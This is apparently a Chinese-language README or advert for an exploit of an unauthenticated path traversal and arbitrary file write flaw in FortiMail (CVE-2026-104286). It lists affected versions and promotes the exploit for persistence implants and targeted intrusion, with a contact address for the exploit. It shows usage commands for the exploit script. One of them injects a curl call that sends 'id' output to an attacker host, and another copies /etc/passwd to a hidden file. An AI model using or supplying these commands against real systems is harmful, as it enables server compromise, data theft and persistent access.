针对 FortiMail 中 CVE-2026-104286 的未认证路径遍历漏洞利用，通过构造 HTTP/HTTPS 请求写入任意文件，用于红队评估与持久化。
针对 FortiMail 中 CVE-2026-104286 的高级未认证远程任意文件写入漏洞利用。精心构造的 HTTP/HTTPS 请求可绕过 Web 客户端中的路径清理机制，从而在底层操作系统上创建任意文件。用于红队评估、持久化植入以及对 FortiMail 部署的定向入侵。
FortiMail 8.0.x (<8.0.2)、7.6.x (<7.6.6)、7.4.x (<7.4.8)、7.2.x (<7.2.9)、7.0.x (<7.0.10)
未正确将路径名限制在受限目录内（CWE-22）。HTTP/HTTPS API 处理程序中的文件上传路径未对 ../ 序列进行验证，导致可遍历到预期上传目录之外。
$ python3 cve-2026-104286.py -u http://target:443 -c "curl -s http://attacker:80/$(id)"
$ python3 cve-2026-104286.py -u http://target:443 -l /etc/passwd -o /var/tmp/.hacked
漏洞利用联系方式：[email protected]